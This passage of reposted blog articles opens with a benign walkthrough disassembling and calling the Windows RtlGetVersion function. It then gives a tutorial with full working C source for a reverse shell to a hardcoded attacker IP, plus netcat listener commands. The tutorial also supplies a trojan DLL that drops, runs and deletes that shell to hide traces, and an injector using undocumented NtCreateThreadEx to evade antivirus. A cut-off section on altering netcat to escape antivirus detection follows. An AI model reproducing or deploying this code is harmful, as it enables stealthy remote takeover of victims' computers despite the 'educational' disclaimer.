relative address that the RtlGetVersion function will be loaded when the dll will be loaded into memory and thus gets a Base Address. If, for example, the RVA of a function is 15 and the dll will be loaded at position 100 then the function will be located at address 115. I would like to see what this function does. So, I will dissaseble it. To do this I have to disassemble the whole ntdll as follows: D:\work2>dumpbin /disasm ntdll.dll > ntdlldisasm.txt The file ntdlldisasm.txt that I create contains the whole assembly code of ntdll. Its a small source file of... 17Mb! Now, I have to search in this file for my RtlGetVersion function. This is easy. I just have to apply the rule: IMAGE_BASE_ADDRESS + Function_RVA = Function Address I already have the RVA. its 0003859A. But what is the IMAGE_BASE_ADDRESS of ntdll? This is easy too. I just enter: D:\work2>dumpbin /headers ntdll.dll | find "image base" 7DE70000 image base (7DE70000 to 7DFEFFFF) So 7DE70000 + 0003859A = 7DEA859A. which means that my function RtlGetVersion located at address 7DEA859A. Image 2: the ntdll.dll disassembly code The actual code of RtlGetVersion is the following: 7DEA859A: 8B FF mov edi,edi 7DEA859C: 55 push ebp 7DEA859D: 8B EC mov ebp,esp 7DEA859F: 51 push ecx 7DEA85A0: 64 A1 18 00 00 00 mov eax,dword ptr fs:[00000018h] 7DEA85A6: 53 push ebx 7DEA85A7: 56 push esi 7DEA85A8: 8B 75 08 mov esi,dword ptr [ebp+8] 7DEA85AB: 57 push edi 7DEA85AC: 8B 78 30 mov edi,dword ptr [eax+30h] 7DEA85AF: 8B 87 A4 00 00 00 mov eax,dword ptr [edi+000000A4h] 7DEA85B5: 89 46 04 mov dword ptr [esi+4],eax 7DEA85B8: 8B 87 A8 00 00 00 mov eax,dword ptr [edi+000000A8h] 7DEA85BE: 89 46 08 mov dword ptr [esi+8],eax 7DEA85C1: 0F B7 87 AC 00 00 movzx eax,word ptr [edi+000000ACh] 00 7DEA85C8: 89 46 0C mov dword ptr [esi+0Ch],eax 7DEA85CB: 8B 87 B0 00 00 00 mov eax,dword ptr [edi+000000B0h] 7DEA85D1: 89 46 10 mov dword ptr [esi+10h],eax 7DEA85D4: 8B 87 F4 01 00 00 mov eax,dword ptr [edi+000001F4h] 7DEA85DA: 85 C0 test eax,eax 7DEA85DC: 74 0A je 7DEA85E8 7DEA85DE: 66 83 38 00 cmp word ptr [eax],0 7DEA85E2: 0F 85 BB 78 05 00 jne 7DEFFEA3 7DEA85E8: 33 C0 xor eax,eax 7DEA85EA: 66 89 46 14 mov word ptr [esi+14h],ax 7DEA85EE: 81 3E 1C 01 00 00 cmp dword ptr [esi],11Ch 7DEA85F4: 75 5E jne 7DEA8654 7DEA85F6: 66 0F B6 87 AF 00 movzx ax,byte ptr [edi+000000AFh] 00 00 7DEA85FE: 66 89 86 14 01 00 mov word ptr [esi+00000114h],ax 00 7DEA8605: 66 8B 87 AE 00 00 mov ax,word ptr [edi+000000AEh] 00 7DEA860C: B9 FF 00 00 00 mov ecx,0FFh 7DEA8611: 66 23 C1 and ax,cx 7DEA8614: 66 89 86 16 01 00 mov word ptr [esi+00000116h],ax 00 7DEA861B: 66 A1 D0 02 FE 7F mov ax,word ptr ds:[7FFE02D0h] 7DEA8621: 66 89 86 18 01 00 mov word ptr [esi+00000118h],ax 00 7DEA8628: 8D 45 FC lea eax,[ebp-4] 7DEA862B: 8D BE 1A 01 00 00 lea edi,[esi+0000011Ah] 7DEA8631: 50 push eax 7DEA8632: C6 07 00 mov byte ptr [edi],0 7DEA8635: E8 28 00 00 00 call 7DEA8662 7DEA863A: 84 C0 test al,al 7DEA863C: 74 16 je 7DEA8654 7DEA863E: 8B 45 FC mov eax,dword line ptr [ebp-4] 7DEA8641: 88 07 mov byte ptr [edi],al 7DEA8643: 83 F8 01 cmp eax,1 7DEA8646: 75 0C jne 7DEA8654 7DEA8648: B8 EF FF 00 00 mov eax,0FFEFh 7DEA864D: 66 21 86 18 01 00 and word ptr [esi+00000118h],ax 00 7DEA8654: 5F pop edi 7DEA8655: 5E pop esi 7DEA8656: 33 C0 xor eax,eax 7DEA8658: 5B pop ebx 7DEA8659: C9 leave 7DEA865A: C2 04 00 ret 4 I present this code just for the shake of knowledge and I am not to go in a line by line explanation as I promised. I am going to do something more practical: I will execute the above code using Olly debugger and I will examine the results. Ok, it sounds interesting, but how can I call the specific function that is inside a DLL? With Olly this is easy. Before I start, I want to check the documentation of this function. Indeed here is the documentation that microsoft provides. The RtlGetVersion routine returns version information about the currently running operating system. Syntax NTSTATUS RtlGetVersion( __out PRTL_OSVERSIONINFOW lpVersionInformation ); Parameters lpVersionInformation [out] Pointer to either a RTL_OSVERSIONINFOW structure or a RTL_OSVERSIONINFOEXW structure that contains the version information about the currently running operating system. A caller specifies which input structure is used by setting the dwOSVersionInfoSize member of the structure to the size in bytes of the structure that is used. Return Value RtlGetVersion returns STATUS_SUCCESS. Remarks RtlGetVersion is the kernel-mode equivalent of the user-mode GetVersionEx function in the Windows SDK. See the example in the Windows SDK that shows how to get the system version. As we can see, this function has no input arguments and once it is called returns its results to the structure RTL_OSVERSIONINFOW. The definition in this structure is here. dwOSVersionInfoSize Specifies the size in bytes of an RTL_OSVERSIONINFOW structure. This member must be set before the structure is used with RtlGetVersion. dwMajorVersion Identifies the major version number of the operating system. For example, for Windows 2000, the major version number is five. dwMinorVersion Identifies the minor version number of the operating system. For example, for Windows 2000 the minor version number is zero. dwBuildNumber Identifies the build number of the operating system. dwPlatformId Identifies the operating system platform. For Microsoft Win32 on NT-based operating systems, RtlGetVersion returns the value VER_PLATFORM_WIN32_NT. szCSDVersion Contains a null-terminated string, such as "Service Pack 3", which indicates the latest Service Pack installed on the system. If no Service Pack has been installed, the string is empty. Ok, now I know what I expect as a result: The structure RTL_OSVERSIONINFOW. Now, I just return to my initial goal: To execute the function via Olly. Because we are talking about a DLL (and to about an executable) I will do the following: After loading the DLL in Olly I will go to the address where my function is located and I will put there a new origin point, as you can see in the next image. Image 3: The new origin point is the address of RtlGetVersion. Note that the address of RtlGetVersion is not the same of what I get from the hexdump output. This is not odd and can be explained by the fact that the Base Address in each case is different. After setting my new origin, I put a break point at address 776D859A and I am now ready to press RUN to meet this breakpoint and then I will go line by line (by pressing F10) examining the function execution and the registers values. In addition, in order to check the results in a more reliable way, I will do the following: I will execute from command line the "winver" system command in order to check (according to Microsoft documentation) the values. The winver command gives me the following: Image 4: The output of the winver command. Note the string "Version 6.1 (Build 7600)". I must see the same result after executing the function RtlGetVersion. Below there is an analysis of the code that I get from Olly with my remarks for the registers values I get. I suppose that the remarks are descriptive enough so no more are necessary. 776D859A > 8BFF MOV EDI,EDI | 776D859C 55 PUSH EBP | Standard function prologue 776D859D 8BEC MOV EBP,ESP | 776D859F 51 PUSH ECX 776D85A0 64:A1 18000000 MOV EAX,DWORD PTR FS:[18] ====>> return the TEB (Thread Entry Block) address 776D85A6 53 PUSH EBX 776D85A7 56 PUSH ESI 776D85A8 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8] ====>> return the PEB (Process Entry Block) address 776D85AB 57 PUSH EDI 776D85AC 8B78 30 MOV EDI,DWORD PTR DS:[EAX+30] 776D85AF 8B87 A4000000 MOV EAX,DWORD PTR DS:[EDI+A4] ===>> eax=6 (MajorVersion) 776D85B5 8946 04 MOV DWORD PTR DS:[ESI+4],EAX 776D85B8 8B87 A8000000 MOV EAX,DWORD PTR DS:[EDI+A8] ===>> eax=1 (MinorVersion) 776D85BE 8946 08 MOV DWORD PTR DS:[ESI+8],EAX 776D85C1 0FB787 AC000000 MOVZX EAX,WORD PTR DS:[EDI+AC] ===>> eax=00001DB0 i.e. 7600 (BuildNumber) MOV with zero eXtended 776D85C8 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 776D85CB 8B87 B0000000 MOV EAX,DWORD PTR DS:[EDI+B0] ===>> eax=2 (platformID) 776D85D1 8946 10 MOV DWORD PTR DS:[ESI+10],EAX 776D85D4 8B87 F4010000 MOV EAX,DWORD PTR DS:[EDI+1F4] 776D85DA 85C0 TEST EAX,EAX 776D85DC 74 0A JE SHORT ntdll.776D85E8 776D85DE 66:8338 00 CMP WORD PTR DS:[EAX],0 776D85E2 0F85 BB780500 JNZ ntdll.7772FEA3 776D85E8 33C0 XOR EAX,EAX 776D85EA 66:8946 14 MOV WORD PTR DS:[ESI+14],AX 776D85EE 813E 1C010000 CMP DWORD PTR DS:[ESI],11C 776D85F4 75 5E JNZ SHORT ntdll.776D8654 776D85F6 66:0FB687 AF0000>MOVZX AX,BYTE PTR DS:[EDI+AF] 776D85FE 66:8986 14010000 MOV WORD PTR DS:[ESI+114],AX 776D8605 66:8B87 AE000000 MOV AX,WORD PTR DS:[EDI+AE] 776D860C B9 FF000000 MOV ECX,0FF 776D8611 66:23C1 AND AX,CX 776D8614 66:8986 16010000 MOV WORD PTR DS:[ESI+116],AX 776D861B 66:A1 D002FE7F MOV AX,WORD PTR DS:[7FFE02D0] 776D8621 66:8986 18010000 MOV WORD PTR DS:[ESI+118],AX 776D8628 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 776D862B 8DBE 1A010000 LEA EDI,DWORD PTR DS:[ESI+11A] 776D8631 50 PUSH EAX 776D8632 C607 00 MOV BYTE PTR DS:[EDI],0 776D8635 E8 28000000 CALL ntdll.RtlGetNtProductType 776D863A 84C0 TEST AL,AL 776D863C 74 16 JE SHORT ntdll.776D8654 776D863E 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 776D8641 8807 MOV BYTE PTR DS:[EDI],AL 776D8643 83F8 01 CMP EAX,1 776D8646 75 0C JNZ SHORT ntdll.776D8654 776D8648 B8 EFFF0000 MOV EAX,0FFEF 776D864D 66:2186 18010000 AND WORD PTR DS:[ESI+118],AX 776D8654 5F POP EDI 776D8655 5E POP ESI 776D8656 33C0 XOR EAX,EAX 776D8658 5B POP EBX 776D8659 C9 LEAVE 776D865A C2 0400 RETN 4 Very well. As you can see, I get the same results. There is another thing that I would like to point out: Pay attention at address 776D8635. In this address a function is called: the RtlGetNtProductType. This RtlGetNtProductType is probably internal and... undocumented. More about undocumented functions we will discuss in a later article... We achive the following, so far: 1. We see which functions exist inside the ntdll.dll. 2. We select and examine one of them. 3. We execute it and we get its result line by line by examining its source (disassembly) code. Be carefull when you mess around with native API functions. If something goes wrong it is very possible to freeze your system. REMARK: Until now we examine functions with 'Rtl' as prefix. Microsoft choose this naming convention for its internal functions. Rtl means RunTime Library. In addition, inside ntdll we will see another prefix: the Zw. Functions with this prefix make direct calls to the kernel. In general, you must know that the naming convetion used by Microsoft following the formula: <Prefix><Operation><Object> What remains to be done is a program in C language that will direct call this function from the native API. This program could be used as a base for more advanced... checks, using even undocumented functions If you search the internet you will not find many sources of how to call RtlGetVersion direct from Native API. So, I suppose that this code could put a small brick to cover this gap. The program is in C++ in Visual Studio 2010. /////////////////////////////////////////////////////////////////////// // Kernel01.cpp : Call the RtlGetVersion from native API // © by Thiseas 2011 for www.p0wnbox.com // #include "stdafx.h" #include <Windows.h> typedef void (WINAPI *pwinapi)(PRTL_OSVERSIONINFOW); //http://www.osronline.com/ddkx/kmarch/k109_452q.htm int _tmain(int argc, _TCHAR* argv[]) { RTL_OSVERSIONINFOW info; pwinapi p_pwinapi; ZeroMemory(&info, sizeof(RTL_OSVERSIONINFOW)); p_pwinapi = (pwinapi) GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "RtlGetVersion"); p_pwinapi(&info); return(0); } There is no need to spend more bytes for comments. Please try this by yourself... Debug and disassemble this little program and repeat the procedure that we just describe above. I will promise you that you will be disappointed... Happy Reversing! Posted by Andreas Venieris at 12:50 AM Sursa: 0x191 Unauthorized: Debugging the Native Windows API
  4. [h=3]Reverse shell through DLL Injection using undocumented API function[/h]This article refers to people who already know how to program in c or c++ and have a basic knowledge of windows API calls. In addition some knowledge of exploitation techniques is needed such as what is a reverse shell, how we can use netcat etc... If this is the first time for you to read such things then do not bother to read the article. DLL Injection is a popular technique used by attackers to inject an executable in order to perform controlled code execution. Serveral methods for preventing this has been developed by OS creators, but w/o 100% success. In this article I will present two methods of a successful attack to a windows 7 Ultimate OS that returns a reverse shell to the attacker. The first method uses the documented windows API function CreateRemoteThread and the second method uses the undocumented funNtCreateThreadEx. The reason that I prefer the 2nd method is because of the fact that the 1st method trigger an alarm of the windows security essentials antivirus while the 2nd does not! In addition, a "home made" undetectable reverse shell (developed in c++) will be used in conjuction with a method of transferring or packing an executable inside another executable. The final attack will be performed using two methods. The traditional (manual) method that I use only Netcat and the... "official" method that I use the well known Armitage of the Metasploit arsenal. Pictures of the attack will be available to you as well as a short video. Before we start I would like to clarify that this is not a "How to invade" tutorial neither a method of how to install a Trojan to a victim's box. It is exactly what its title states: A method of calling a Reverse shell through DLL Injection using undocumented API in windows 7. Nothing more and nothing less. If you feel immature enough to get this method to harm others' computers then the blame is not mine but in your mind This is for educational purposes only. The Early Steps In order to perform such attack we need first to decide which executable program we want to inject. In my example I will inject the Total Commander, the programmers favorite windows manager (and not only!). Injecting Total Commander means that when the user starts this program I will immediately get a shell in my PC (locally or remotely) with the same privileges as the injected program itself. To be specific, the method is like this: The method 1. Check if 'Total Commander' is running. 2. If it is running inject it, and return a reverse shell to a specific IP while continue running Total Commander. 3. If 'Total Commander' is not running goto 1. My approach will use three programs: 1. totalcmd.exe (Total Commander): is the program that will trigger the whole attack. 2. myDLL.DLL: Is the DLL that will be used as a trojan horse. It will 'carry' the reverse shell. One of its main responsibilities is when DLL_PROCESS_ATTACH occurs it will unpack the reverse shell to disk and execute it. 3. dllattack08.exe: Is the program that when executed it will remain on memory waiting to perform the above 3 steps of The Method. [h=2]Step 1: Creating the reverse shell.[/h]I will present here my source code of my reverse shell. The code is the following: /* AJVrs.c Reverse shell in win32 (c) by thiseas 2010 Compile with VS 2008 from command line with cl: C:> cl AJVrs.c ***************************************************************/ #include <winsock2.h> #include <stdio.h> #pragma comment(lib, "Ws2_32.lib") //Inform the linker that the Ws2_32.lib file is needed. #define DEFAULT_PORT 1234 #define DEFAULT_IP "192.168.1.70" WSADATA wsaData; SOCKET Winsocket; STARTUPINFO theProcess; PROCESS_INFORMATION info_proc; struct sockaddr_in Winsocket_Structure; int main(int argc, char *argv[]) { char *IP = DEFAULT_IP; short port = DEFAULT_PORT; if (argc == 3){ strncpy(IP,argv[1],16); port = atoi(argv[2]); } WSAStartup(MAKEWORD(2,2), &wsaData); Winsocket=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, (unsigned int) NULL, (unsigned int) NULL); Winsocket_Structure.sin_port=htons(port); Winsocket_Structure.sin_family=AF_INET; Winsocket_Structure.sin_addr.s_addr=inet_addr(IP); if(Winsocket==INVALID_SOCKET) { WSACleanup(); return 1; } if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Structure,sizeof(Winsocket_Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR) { WSACleanup(); return 1; } // Starting shell by creating a new process with i/o redirection. memset(&theProcess,0,sizeof(theProcess)); theProcess.cb=sizeof(theProcess); theProcess.dwFlags=STARTF_USESTDHANDLES; // here we make the redirection theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket; // fork the new process. if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0) { WSACleanup(); return 1; } return 0; } As you can see the code is self explanatory and I am not going into details on it because this is not a programming tutorial. The above program can be used as is, instead of netcat or in conjuction with it. Usage: On attacker box run Necat to listen for a connection: on fedora : nc -l 1234 on other linux dist : nc -v -l -p 1234 on win box : nc -v -l -p 1234 On victim's box, run my reverse shell: c:> AJVrs.exe <attackerIP> 1234 [h=2]Step 2: Store the executable code of the reverse shell inside a program.[/h]We will keep the executable code inside the DLL (that we are going to use later) in order to be executed when it is needed (I will explain how later). We are actually get the byte code of the shell and put it inside to another program. The problem here is how to get the byte code and put it to another program source. There many methods to do this. I test one that i thouhgt it will worked (and it does worked!). I am almost sure that this method has been used by other ppl, but I did not bother to search for this. The goal is to store the whole executable inside a byte array and then write this byte array to disk. The new file that will be created will be a normal PE executable! I open my reverse shell executable AJVrs.exe using my favorite ultraEdit editor (which is hex editor too). Select all, Right Click and choose Hex Copy Selected View. Then, Right Click and Copy. Paste the select code in a new file. Turn to Column Selection (Alt+C) and select all the byte code. Then Right Click and Copy. I put the selected bytes to a new file and I change them as the following example: from ... 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 ... to ... \x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00 ... The above task can be easy if we replace every space " " with "\x". But again we will loose the 1st characters on each line. So it is wise if first we move all the text one position on the right: Example from: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 to: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 Just to make one space... But again, I am not finished. I must put every line in double quotes: Using the column mode (Alt+C) I can easily enclose each line with " in order to meet my final goal which is: "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00" "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" .... Ok... that's it. I save this file to disk using the name MyTempByteCode.txt [h=2]Step 3: Creating the DLL.[/h]Its time to create my DLL now. It is the DLL that will be used as a trojan horse. It will carry the reverse shell inside it. One of its main responsibilities is when DLL_PROCESS_ATTACH occurs it will unpack the reverse shell to disk and execute it. I created using C++ in Microsoft Visual Studio 2008. The source code is: #include<stdio.h> #include <windows.h> // In recerseshell I just put contents of the file MyTempByteCode.txt char recerseshell[] = "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00" "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" ... ... "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: int i, len = sizeof(recerseshell); FILE *ptr ; ptr = fopen("\\DLLInjection\\DirtyShell.exe", "wb"); for (i=0; i<len; i++) fprintf(ptr, "%c",recerseshell[i]); fclose(ptr); Sleep(1000); WinExec("\\DLLInjection\\DirtyShell.exe 192.168.57.147 6666", SW_HIDE); Sleep(1000); WinExec("cmd /c ""del \\DLLInjection\\DirtyShell.exe"" ", SW_HIDE); } } Again the source code is self explanatory: When the dll attach process is met, I write the reverse byte code to a file, I execute it (in order to open the reverse shell) and I delete it from the disk in order to hide my tracks. [h=2]Step 4: Performing the injection.[/h]Now I need a program to handle or better to trigger the above dll. This is my 3nd program dllattack08.exe: It is the program that will perform the actual injection to 'Total Commander' using two methods (as I promised). The documented API and the undocumented API (the stealth one!). I create the program using C++ VS 2008 (again). The source code is the following: #include <windows.h> #include <TlHelp32.h> #include <shlwapi.h> // Add Lib: Shlwapi.lib #include <stdio.h> typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPTHREAD_START_ROUTINE lpStartAddress, IN LPVOID lpParameter, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN ULONG SizeOfStackCommit, IN ULONG SizeOfStackReserve, OUT LPVOID lpBytesBuffer ); //Buffer argument passed to NtCreateThreadEx function struct NtCreateThreadExBuffer { ULONG Size; ULONG Unknown1; ULONG Unknown2; PULONG Unknown3; ULONG Unknown4; ULONG Unknown5; ULONG Unknown6; PULONG Unknown7; ULONG Unknown8; }; HANDLE GetProcessHandle(LPCWSTR szExeName, DWORD *ProcessID) { PROCESSENTRY32 Pc = { sizeof(PROCESSENTRY32) } ; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); if(Process32First(hSnapshot, &Pc)){ do{ if(StrStrI(Pc.szExeFile, szExeName)) { *ProcessID = Pc.th32ProcessID; return OpenProcess(PROCESS_ALL_ACCESS, TRUE, Pc.th32ProcessID); } }while(Process32Next(hSnapshot, &Pc)); } return NULL; } BOOL DllInject(HANDLE hProcess, LPSTR lpszDllPath) { Sleep(2000); HMODULE hmKernel = GetModuleHandle(L"Kernel32");//heres the DLL if(hmKernel == NULL || hProcess == NULL) return FALSE; int nPathLen = strlen(lpszDllPath); //MAX_PATH; // LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE); if (lpvMem == NULL) return FALSE; if (!WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL)) return FALSE; DWORD dwWaitResult= 0, dwExitResult = 0; HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, "LoadLibraryA"), lpvMem, 0, NULL); if(hThread != NULL){ dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free. GetExitCodeThread(hThread, &dwExitResult); CloseHandle(hThread); VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE); return (1); } else{ return (0); } } BOOL DllInject_2(HANDLE hProcess, LPSTR lpszDllPath) { Sleep(2000); HMODULE hmKernel = GetModuleHandle(L"Kernel32");//heres the DLL if(hmKernel == NULL || hProcess == NULL) return FALSE; int nPathLen = strlen(lpszDllPath); //MAX_PATH; // LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL); DWORD dwWaitResult, dwExitResult = 0; HMODULE modNtDll = GetModuleHandle(L"ntdll.dll"); if( !modNtDll ) { //printf("\n failed to get module handle for ntdll.dll, Error=0x%.8x", GetLastError()); return 0; } LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx) GetProcAddress(modNtDll, "NtCreateThreadEx"); if( !funNtCreateThreadEx ) { //printf("\n failed to get funtion address from ntdll.dll, Error=0x%.8x", GetLastError()); return 0; } NtCreateThreadExBuffer ntbuffer; memset (&ntbuffer,0,sizeof(NtCreateThreadExBuffer)); DWORD temp1 = 0; DWORD temp2 = 0; ntbuffer.Size = sizeof(NtCreateThreadExBuffer); ntbuffer.Unknown1 = 0x10003; ntbuffer.Unknown2 = 0x8; ntbuffer.Unknown3 = 0;//&temp2; ntbuffer.Unknown4 = 0; ntbuffer.Unknown5 = 0x10004; ntbuffer.Unknown6 = 4; ntbuffer.Unknown7 = &temp1; ntbuffer.Unknown8 = 0; HANDLE hThread; NTSTATUS status = funNtCreateThreadEx( &hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, "LoadLibraryA"), lpvMem, FALSE, //start instantly NULL, NULL, NULL, &ntbuffer ); if(hThread != NULL){ // keep the dll injection action for 10 seconds before free. dwWaitResult = WaitForSingleObject(hThread, 10000); GetExitCodeThread(hThread, &dwExitResult); CloseHandle(hThread); VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE); return (1); } else{ return (0); } } int ActivateSeDebugPrivilege(void){ HANDLE hToken; LUID Val; TOKEN_PRIVILEGES tp; if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return(GetLastError()); if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val)) return(GetLastError()); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = Val; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL)) return(GetLastError()); CloseHandle(hToken); return 1; } int main(int argc, char *argv[]) { DWORD CurrentSessionID, RemoteSessionID, RemoteProcessID; LPCWSTR lpVictimProcess = TEXT("totalcmd.exe"); char *cpVictimProcess = "totalcmd.exe"; printf("DLL Injection.\n"); if ( ActivateSeDebugPrivilege() == 1) printf("Get All Privilege.\n"); else printf("Cannot Get All Privilege.\n"); printf("Waiting for process %s...",cpVictimProcess); HANDLE hProcess; do{ hProcess = GetProcessHandle(lpVictimProcess, &RemoteProcessID); Sleep(1); }while(hProcess == NULL); printf("\nFound! Try to inject..."); // Get the session ID of the remote process. //DWORD RemoteSessionID = ProcessIdToSessionId( hProcess ); if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID )) { printf("\nFailed to get the current session with error %d", GetLastError()); } if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID )) { printf("\nFailed to get the remote session with error %d", GetLastError()); } if (DllInject(hProcess, "\\DLLInjection\\myDLL.dll")) printf("\nSUCCESSFUL!\n"); else printf("\nFailed!\n"); return 0; } I suppose that some things need clarification here: The function that perform the actuall DLL injection using the documented API CreateRemoteThread is: DllInject(hProcess, "\\DLLInjection\\myDLL.dll") The function takes 2 arguments: The process handle of the program that is going to be injected and the actual DLL flename that will be attached to the injected executable. As you can see this is "open" enough to accept anything you like... Another interesting topic is the use of the SeDebugPrivilege function as an effort to obtain as many priviledges as possible. Microsoft states that: "By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do." ( http://support.microsoft.com/kb/185215 ) This is interesting indeed, huh? To be honest, I suppose that the above is not 100% true for windows 7, but you never know. It was worth a try... anyway. An important drawback of this method is that it triggers the Microsoft Security Essentials Antivirus. I found that the cause of the alarm is the use of the API CreateRemoteThread inside the DllInject function. So, I replace this function with a new but... undocumented one! To explain how we find and analyse undocumented Windows API functions is another (indeed challenging) story that I 'll explain in another article. The documented API is impleneted in the DllInject_2 function. The only change to the code in order to call this API is to replace the 7th line from the bottom of the above source code: from if (DllInject(hProcess, "\\DLLInjection\\myDLL.dll")) to if (DllInject_2(hProcess, "\\DLLInjection\\myDLL.dll")) and that’s it. You become stealth! [h=2]Attack using the manual way[/h]Below is an example of the attack using the manual (traditional) way: Attack using Metasploit Armitage Metasploit [http://www.metasploit.com/] is a professional tool for pen testers and not only. Armitage [http://www.fastandeasyhacking.com/] is a front-end (i can say) for metasploit. This tool can be use to perform the same attack. It can be used as client to listen to the port 6666 in order get my reverse shell. Take a look here: and One of the interesting thing here is that any reverse shell can be used. You can (for example) create an encrypted one using metasploit, get its binary code, put it in my DLL and perform the attack. The method and the code is open enough to support such techniques. [h=2]Sample Videos of attacks[/h] [1]. Case I: Total Commander is already open http://rapidshare.com/files/454308917/Dll-Inject-Attack-Video.rar [2]. Case II: Total Commander is opened after the injection https://rapidshare.com/files/3697690472/Dll-Inject-Attack_II.rar Posted by Andreas Venieris at 10:08 PM Sursa: 0x191 Unauthorized: Reverse shell through DLL Injection using undocumented API function
  5. Antivirus Hiding There are a lot of choices when we want to pen test an application. We can create a specific program to do this. We can use an existing one. We can modify (or... fork) an existing. Maybe, the ideal is to create your own program for attack, but again, this, has some drawbacks: You don't have to reinvent the wheel. Deadlines and cost make such approach impossible. In addition, there are plenty of tools in the wild that can be easily used for an attack. Netcat is such a tool. The well know Swiss army knife. It is not easy to create such a program from scratch. We can use it for light pen tests but not for professional use (supposing that we following a black-box method) as many anti-viruses consider it as a threat. Is there is something we can do about it? Hmm, I suppose yes! There many ways to hide the program from an anti-virus. I will present two of them. But, before we start, we must say something about how anti-viruses recognize threats. Actually there many ways to do this, but a general rule (that is used in most of cases) is the following: Using an one-way hash function they encoded a known executable Malware file into a smaller but unique code and they store this code into its internal database. When we try to execute a program they transform our executable (using the same hash function) into a code and they check if this code exist in its database. If it exists they consider the executable as a threat and they block it. So, our goal is to change the executable (or some bytes of it) in such way that will produce a totally new hashed code that is not exists in anti-virus database. If we did this then our executable will not be considered as a legitimate program! Method 1, the easy one In this method we will change some bytes in the executable in order to hide it from an anti-virus. We must be very careful here because it is very easy to change the behavior of the executable or even worst to destroy it (make it impossible to run). The principle that is behind this approach is the following: Almost every program has in its code some software interrupts that used by debuggers to interrupt program execution. Software interrupts are useful to programmers when they need to put break points to pause execution at a specific address in order to review the code and/or data. With software interrupts this task can be done without overwriting programs code. But... we are not in a debugging status here. We don't need these interrupts. We can replace them with something else, with some... nothing: The NOP mnemonic! Lets be more specific: Software Interrupt represented by the assembly mnemonic INT 3 which is the CC instruction. NOP is represented by the 90 instruction. Thus, if we change every CC with 90 then we will have a totally different executable with exactly the same behavior. We can do this from simple hex editor. In my example I choose to use the very best windows editor ultraedit. I open the nc.exe with ultra edit in hex mode and I tried to find some CC instructions. The above CC instructions must be replaced by 90. To be honest I search for every triple of "CCCCCC" and I replace then 